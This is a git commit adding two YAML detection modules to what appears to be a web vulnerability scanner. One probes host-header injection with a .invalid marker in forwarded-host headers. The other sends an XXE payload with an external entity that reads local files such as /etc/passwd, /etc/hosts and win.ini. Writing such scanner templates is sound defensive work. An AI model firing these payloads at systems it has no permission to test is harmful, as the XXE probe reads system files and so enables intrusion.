feat(modules): add host-header injection and xxe probe modules (#277)

* feat(modules): add host-header injection and xxe probe modules

host-header-injection sets an rfc 2606 .invalid marker in the forwarded-host
headers and fires only when it comes back inside an absolute-url construct
(href/src/action/content/url), so a benign echo into text or an attribute cannot
trigger it. xxe-error-based expands a SYSTEM entity pointing at a local file and
matches only that file's contents, so an echo of the payload (a path string)
cannot satisfy it.

* chore(modules): trim redundant module header comments

drop the leading comment restating id/name on host-header-injection and xxe-error-based
This commit is contained in:
Tigah
2026-07-22 12:35:51 -07:00
committed by GitHub
parent 2cfee4cc3f
commit 294bfb090b
2 changed files with 107 additions and 0 deletions
+47
View File
@@ -0,0 +1,47 @@
id: host-header-injection
info:
name: Host Header Injection
author: sif
severity: medium
description: Detects host header injection by confirming an attacker-controlled forwarded-host value is echoed back inside an absolute URL construct (href/src/action/content/url) in the rendered response, proving the app used the untrusted header to build a link
tags: [host-header-injection, ssrf, cache-poisoning, owasp-top10]
type: http
http:
method: GET
paths:
- "{{BaseURL}}/"
- "{{BaseURL}}/login"
- "{{BaseURL}}/reset-password"
- "{{BaseURL}}/password/reset"
- "{{BaseURL}}/forgot-password"
- "{{BaseURL}}/oauth/authorize"
# RFC 2606 .invalid guarantees the marker can never collide with a real
# domain, so any absolute-URL reflection of it in the body is proof the
# forwarded-host header (not the request line) drove link generation.
headers:
X-Forwarded-Host: "sifprobe-a8f31c92.invalid"
X-Forwarded-Server: "sifprobe-a8f31c92.invalid"
X-Host: "sifprobe-a8f31c92.invalid"
X-Original-Host: "sifprobe-a8f31c92.invalid"
Forwarded: "for=127.0.0.1;host=sifprobe-a8f31c92.invalid;proto=http"
threads: 10
matchers:
- type: regex
part: body
regex:
- '(?is)(?:href|src|action|content)\s*=\s*["'']?(?:https?:)?//sifprobe-a8f31c92\.invalid'
- '(?is)url\(\s*["'']?(?:https?:)?//sifprobe-a8f31c92\.invalid'
condition: or
extractors:
- type: regex
name: reflected_context
part: body
regex:
- '((?:href|src|action|content|url)\s*[=(]\s*["'']?(?:https?:)?//sifprobe-a8f31c92\.invalid[^"'')\s]*)'
group: 1
+60
View File
@@ -0,0 +1,60 @@
id: xxe-error-based
info:
name: XML External Entity Injection
author: sif
severity: high
description: Detects XML external entity injection by confirming the parser expanded a SYSTEM entity and returned the contents of a local file the payload never contained
tags: [xxe, injection, xml, owasp-top10]
type: http
http:
method: POST
paths:
- "{{BaseURL}}/"
- "{{BaseURL}}/api"
- "{{BaseURL}}/api/xml"
- "{{BaseURL}}/xml"
- "{{BaseURL}}/soap"
- "{{BaseURL}}/upload"
- "{{BaseURL}}/import"
- "{{BaseURL}}/xmlrpc.php"
headers:
Content-Type: application/xml
Accept: application/xml
# the payload is only ever a file *path*; a match requires the target
# file's actual contents, so a benign echo of the payload text (the path
# string itself) can never satisfy the matcher.
payloads:
- "/etc/passwd"
- "/etc/hosts"
- "/windows/win.ini"
body: |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file://{{payload}}"> ]>
<foo>&xxe;</foo>
threads: 10
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- "daemon:.*:1:1:"
- "nobody:.*:65534:"
- "127\\.0\\.0\\.1\\s+localhost"
- "\\[fonts\\]"
- "; for 16-bit app support"
condition: or
extractors:
- type: regex
name: leaked_content
part: body
regex:
- "(root|daemon|nobody):.*:[0-9]+:[0-9]+:"
group: 0